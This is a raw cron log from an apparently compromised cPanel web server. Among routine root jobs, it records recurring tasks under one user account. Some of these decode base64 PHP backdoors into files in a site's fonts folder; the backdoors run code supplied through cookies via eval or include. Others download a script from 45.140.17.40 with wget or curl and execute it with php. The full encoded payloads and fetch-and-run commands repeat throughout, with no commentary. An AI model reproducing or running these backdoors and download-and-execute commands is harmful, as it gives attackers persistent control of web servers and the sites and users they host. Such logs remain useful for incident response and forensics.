Sep  3 18:27:01 ip-184-168-122-23 CROND[13857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:27:01 ip-184-168-122-23 CROND[13856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:27:01 ip-184-168-122-23 CROND[13858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:28:01 ip-184-168-122-23 CROND[13962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:28:01 ip-184-168-122-23 CROND[13964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:28:01 ip-184-168-122-23 CROND[13967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:28:01 ip-184-168-122-23 CROND[13968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:28:01 ip-184-168-122-23 CROND[13966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:29:01 ip-184-168-122-23 CROND[14062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:29:01 ip-184-168-122-23 CROND[14063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:29:01 ip-184-168-122-23 CROND[14064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:29:01 ip-184-168-122-23 CROND[14069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:30:01 ip-184-168-122-23 CROND[14150]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:30:01 ip-184-168-122-23 CROND[14153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:30:01 ip-184-168-122-23 CROND[14155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:30:01 ip-184-168-122-23 CROND[14156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:30:01 ip-184-168-122-23 CROND[14159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:30:01 ip-184-168-122-23 CROND[14157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:30:01 ip-184-168-122-23 CROND[14161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:30:01 ip-184-168-122-23 CROND[14158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:31:01 ip-184-168-122-23 CROND[14292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:31:01 ip-184-168-122-23 CROND[14294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:31:01 ip-184-168-122-23 CROND[14297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:31:01 ip-184-168-122-23 CROND[14296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:31:01 ip-184-168-122-23 CROND[14298]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 18:32:02 ip-184-168-122-23 CROND[14388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:32:02 ip-184-168-122-23 CROND[14389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:32:02 ip-184-168-122-23 CROND[14392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:32:02 ip-184-168-122-23 CROND[14391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:32:02 ip-184-168-122-23 CROND[14390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:33:01 ip-184-168-122-23 CROND[14557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:33:01 ip-184-168-122-23 CROND[14559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:33:01 ip-184-168-122-23 CROND[14562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:33:01 ip-184-168-122-23 CROND[14563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:34:01 ip-184-168-122-23 CROND[14644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:34:01 ip-184-168-122-23 CROND[14645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:34:01 ip-184-168-122-23 CROND[14649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:34:01 ip-184-168-122-23 CROND[14648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:34:01 ip-184-168-122-23 CROND[14650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:35:01 ip-184-168-122-23 CROND[14745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:35:01 ip-184-168-122-23 CROND[14746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:35:01 ip-184-168-122-23 CROND[14748]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 18:35:01 ip-184-168-122-23 CROND[14749]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 18:35:01 ip-184-168-122-23 CROND[14750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:35:01 ip-184-168-122-23 CROND[14752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:35:01 ip-184-168-122-23 CROND[14753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:35:01 ip-184-168-122-23 CROND[14754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:36:01 ip-184-168-122-23 CROND[14867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:36:01 ip-184-168-122-23 CROND[14870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:36:01 ip-184-168-122-23 CROND[14869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:36:01 ip-184-168-122-23 CROND[14872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:36:01 ip-184-168-122-23 CROND[14871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:37:01 ip-184-168-122-23 CROND[15018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:37:01 ip-184-168-122-23 CROND[15016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:37:01 ip-184-168-122-23 CROND[15017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:37:01 ip-184-168-122-23 CROND[15015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:38:01 ip-184-168-122-23 CROND[15133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:38:01 ip-184-168-122-23 CROND[15132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:38:01 ip-184-168-122-23 CROND[15138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:38:01 ip-184-168-122-23 CROND[15135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:38:01 ip-184-168-122-23 CROND[15137]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:39:01 ip-184-168-122-23 CROND[15266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
